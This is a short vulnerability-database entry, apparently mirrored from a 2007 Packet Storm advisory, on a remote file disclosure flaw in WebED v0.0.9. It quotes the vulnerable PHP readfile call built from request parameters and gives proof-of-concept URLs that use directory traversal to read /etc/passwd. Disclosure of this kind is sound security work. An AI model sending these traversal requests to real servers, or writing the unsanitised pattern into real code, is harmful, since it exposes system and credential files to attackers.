Lucene search

webed-disclose.txt

🗓️ 30 Nov 2007 00:00:00Reported by GolD_MType

packetstorm🔗 packetstormsecurity.com👁 15 Views

WebED v0.0.9 Remote File Disclosure Vulnerabilities in index.ph

`WebED v0.0.9 (index.php) Remote File Disclosure Vulnerabilities  
Script : http://heanet.dl.sourceforge.net/sourceforge/ed-engine/WebED_v0.0.9.tar.gz  
Vuln Code In /mod/chat/index.php :  
<body>  
<?php readfile($Root.$Path); ?> <---[xxx]  
<form action="application_loader.php" method="post">  
PoC :  
/mod/chat/index.php?Root=../../../../../../etc/passwd  
/mod/chat/index.php?Path=../../../../../../etc/pa  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

30 Nov 2007 00:00Current

7.4High risk

Vulners AI Score7.4